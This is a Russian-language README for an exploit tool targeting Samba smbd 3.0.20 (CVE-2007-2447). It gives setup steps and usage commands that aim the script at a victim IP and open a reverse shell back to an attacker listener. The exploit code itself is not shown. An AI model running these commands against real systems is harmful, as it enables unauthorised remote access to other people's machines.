CVE-2007-2447 Эксплойт

Этот репозиторий содержит эксплойт для Samba smbd 3.0.20 (CVE-2007-2447), позволяющий удаленно выполнять команды через специально сформированные SMB-запросы.

Предварительные требования

Этот эксплойт требует Python 3 и несколько зависимостей. Рекомендуется настроить виртуальное окружение перед запуском эксплойта.

Настройка виртуального окружения

1. Клонируйте репозиторий:

   root@kitploit:~

   git clone https://github.com/your-repo/CVE-2007-2447.git
   cd CVE-2007-2447
   

2. Создайте виртуальное окружение Python:

   root@kitploit:~

   python3 -m venv smb_env
   source smb_env/bin/activate  # Linux/macOS
   

   (Пользователи Windows могут активировать с помощью: smb_env\Scripts\activate)

3. Установите необходимые зависимости:

   root@kitploit:~

   pip install -r requirements.txt
   

Использование

После настройки виртуального окружения вы можете выполнить эксплойт, используя следующий синтаксис:

python3 CVE-2007-2447.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>

Пример выполнения

python3 CVE-2007-2447.py -t 192.168.1.100 -a 192.168.1.50 -p 4444

• -t / --target: IP-адрес целевой (жертвы) машины.
• -a / --attacker: IP-адрес слушателя атакующего.
• -p / --port: Порт для установления обратного соединения (reverse shell).

Деактивация виртуального окружения

Когда закончите, деактивируйте виртуальное окружение с помощью:

deactivate